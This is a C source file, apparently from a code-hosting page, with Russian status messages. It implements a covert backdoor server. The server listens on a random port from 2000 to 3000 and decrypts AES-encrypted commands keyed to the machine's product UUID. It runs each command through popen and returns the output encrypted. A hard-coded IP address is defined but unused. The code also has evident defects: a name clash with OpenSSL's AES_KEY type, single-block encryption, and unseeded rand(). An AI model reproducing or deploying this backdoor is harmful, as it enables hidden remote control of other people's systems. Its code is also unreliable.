82 lines
2.4 KiB
C
82 lines
2.4 KiB
C
#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <sys/socket.h>
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#include <arpa/inet.h>
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#include <unistd.h>
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#include <openssl/aes.h>
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#include <openssl/sha.h>
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#define PORT_MIN 2000
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#define PORT_MAX 3000
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#define AES_KEY_SIZE 16
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#define SERVER_IP "212.113.119.5"
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unsigned char AES_KEY[AES_KEY_SIZE]; // Хранение AES-ключа
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void generate_aes_key() {
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FILE *fp = popen("cat /sys/class/dmi/id/product_uuid", "r");
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char buffer[256];
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if (fp == NULL || fgets(buffer, sizeof(buffer), fp) == NULL) {
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pclose(fp);
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printf("[-] Не удалось получить UUID, используем случайный ключ\n");
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RAND_bytes(AES_KEY, AES_KEY_SIZE);
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} else {
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pclose(fp);
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SHA256((unsigned char *)buffer, strlen(buffer), AES_KEY);
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}
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}
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void encrypt(char *input, char *output) {
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AES_KEY enc_key;
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AES_set_encrypt_key(AES_KEY, 128, &enc_key);
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AES_encrypt((unsigned char *)input, (unsigned char *)output, &enc_key);
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}
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void decrypt(char *input, char *output) {
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AES_KEY dec_key;
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AES_set_decrypt_key(AES_KEY, 128, &dec_key);
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AES_decrypt((unsigned char *)input, (unsigned char *)output, &dec_key);
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}
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int main() {
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generate_aes_key();
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printf("[+] AES-ключ сервера сгенерирован\n");
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int server_sock, client_sock;
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struct sockaddr_in server, client;
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socklen_t client_size = sizeof(client);
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char buffer[1024], encrypted[1024], decrypted[1024];
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int port = PORT_MIN + (rand() % (PORT_MAX - PORT_MIN + 1));
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server_sock = socket(AF_INET, SOCK_STREAM, 0);
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server.sin_family = AF_INET;
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server.sin_addr.s_addr = INADDR_ANY;
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server.sin_port = htons(port);
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bind(server_sock, (struct sockaddr *)&server, sizeof(server));
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listen(server_sock, 1);
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printf("[+] Сервер слушает на порту %d...\n", port);
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client_sock = accept(server_sock, (struct sockaddr *)&client, &client_size);
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printf("[+] Подключение от %s\n", inet_ntoa(client.sin_addr));
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while (1) {
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recv(client_sock, encrypted, sizeof(encrypted), 0);
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decrypt(encrypted, decrypted);
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printf("Команда: %s\n", decrypted);
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FILE *fp = popen(decrypted, "r");
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fread(buffer, 1, sizeof(buffer), fp);
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pclose(fp);
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encrypt(buffer, encrypted);
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send(client_sock, encrypted, sizeof(encrypted), 0);
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}
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close(client_sock);
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close(server_sock);
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return 0;
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}
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